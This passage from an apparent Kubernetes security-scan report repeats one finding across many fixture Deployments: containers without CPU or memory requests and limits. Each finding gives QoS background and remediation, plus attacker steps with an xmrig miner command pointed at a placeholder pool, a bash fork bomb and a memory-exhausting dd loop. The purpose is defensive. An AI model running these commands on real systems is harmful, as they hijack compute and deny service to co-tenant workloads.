  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n flat-network --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/foothold-fixtures/foothold-priv-app Workload 5.0
Container app in Deployment/foothold-fixtures/foothold-priv-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/foothold-fixtures/foothold-priv-app
Category: Infrastructure Modification Resource: Deployment/foothold-fixtures/foothold-priv-app Namespace: foothold-fixtures

Container app in workload Deployment/foothold-fixtures/foothold-priv-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n foothold-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/foothold-fixtures/foothold-quiet-app Workload 5.0
Container app in Deployment/foothold-fixtures/foothold-quiet-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/foothold-fixtures/foothold-quiet-app
Category: Infrastructure Modification Resource: Deployment/foothold-fixtures/foothold-quiet-app Namespace: foothold-fixtures

Container app in workload Deployment/foothold-fixtures/foothold-quiet-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n foothold-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/gw-workloads/gw-web Workload 5.0
Container app in Deployment/gw-workloads/gw-web is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/gw-workloads/gw-web
Category: Infrastructure Modification Resource: Deployment/gw-workloads/gw-web Namespace: gw-workloads

Container app in workload Deployment/gw-workloads/gw-web does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n gw-workloads --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/hookbackend-fixtures/hookbackend-injector Workload 5.0
Container app in Deployment/hookbackend-fixtures/hookbackend-injector is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/hookbackend-fixtures/hookbackend-injector
Category: Infrastructure Modification Resource: Deployment/hookbackend-fixtures/hookbackend-injector Namespace: hookbackend-fixtures

Container app in workload Deployment/hookbackend-fixtures/hookbackend-injector does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n hookbackend-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/imgswap-fixtures/imgswap-reader-app Workload 5.0
Container app in Deployment/imgswap-fixtures/imgswap-reader-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/imgswap-fixtures/imgswap-reader-app
Category: Infrastructure Modification Resource: Deployment/imgswap-fixtures/imgswap-reader-app Namespace: imgswap-fixtures

Container app in workload Deployment/imgswap-fixtures/imgswap-reader-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n imgswap-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/ingress-only/ingress-app Workload 5.0
Container app in Deployment/ingress-only/ingress-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/ingress-only/ingress-app
Category: Infrastructure Modification Resource: Deployment/ingress-only/ingress-app Namespace: ingress-only

Container app in workload Deployment/ingress-only/ingress-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n ingress-only --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/lp-fixtures/lp-narrow-app Workload 5.0
Container app in Deployment/lp-fixtures/lp-narrow-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/lp-fixtures/lp-narrow-app
Category: Infrastructure Modification Resource: Deployment/lp-fixtures/lp-narrow-app Namespace: lp-fixtures

Container app in workload Deployment/lp-fixtures/lp-narrow-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n lp-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/lp-fixtures/lp-orphan-app Workload 5.0
Container app in Deployment/lp-fixtures/lp-orphan-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/lp-fixtures/lp-orphan-app
Category: Infrastructure Modification Resource: Deployment/lp-fixtures/lp-orphan-app Namespace: lp-fixtures

Container app in workload Deployment/lp-fixtures/lp-orphan-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n lp-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/lp-fixtures/lp-wildcard-app Workload 5.0
Container app in Deployment/lp-fixtures/lp-wildcard-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/lp-fixtures/lp-wildcard-app
Category: Infrastructure Modification Resource: Deployment/lp-fixtures/lp-wildcard-app Namespace: lp-fixtures

Container app in workload Deployment/lp-fixtures/lp-wildcard-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
  1. Attacker gains code execution in container app (RCE in the app, malicious dependency, SSRF→shell).
  2. They run cat /sys/fs/cgroup/cpu.max and see no limit, then cat /sys/fs/cgroup/memory.max and see max.
  3. They start a CPU miner: xmrig -o pool.example:3333 -t $(nproc) and immediately consume every core on the node.
  4. Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other BestEffort workloads first.
  5. For a louder DoS: :(){ :|:& };: (a fork bomb) or dd if=/dev/zero of=/dev/null bs=1M until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is BestEffort too.
Remediation
Set explicit resources.requests and resources.limits on container app so the pod reaches at least the Burstable QoS class.
  1. Profile actual usage: kubectl top pod -n lp-fixtures --containers over a representative window, or use Vertical Pod Autoscaler in recommendation mode (updateMode: Off).
  2. Declare both requests and limits for CPU and memory on container app. As a rule of thumb start with requests at the p95 of observed usage and limits at 2× the requests.
  3. Add a namespace LimitRange with sensible defaults so future workloads inherit baseline values when authors forget.
  4. Add a ResourceQuota to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.
  5. Enforce at admission with Kyverno (require-pod-resources) or OPA Gatekeeper (K8sRequiredResources) so the check runs in CI, not after an incident.
Evidence
Containerapp
missing_cpu_limit
true
missing_cpu_req
true
missing_mem_limit
true
missing_mem_req
true
Show raw JSON
{
  "container": "app",
  "missing_cpu_limit": true,
  "missing_cpu_req": true,
  "missing_mem_limit": true,
  "missing_mem_req": true
}
MEDIUM Deployment/netpol-imds/imds-allow-app Workload 5.0
Container app in Deployment/netpol-imds/imds-allow-app is missing CPU limits, memory limits, CPU requests, and memory requests
Scope · Workload Workload Deployment/netpol-imds/imds-allow-app
Category: Infrastructure Modification Resource: Deployment/netpol-imds/imds-allow-app Namespace: netpol-imds

Container app in workload Deployment/netpol-imds/imds-allow-app does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.

This is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (Guaranteed, Burstable, BestEffort) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in BestEffort, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.

Beyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a BestEffort container can spawn xmrig and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.

Impact Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.
How an attacker abuses this
Background
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
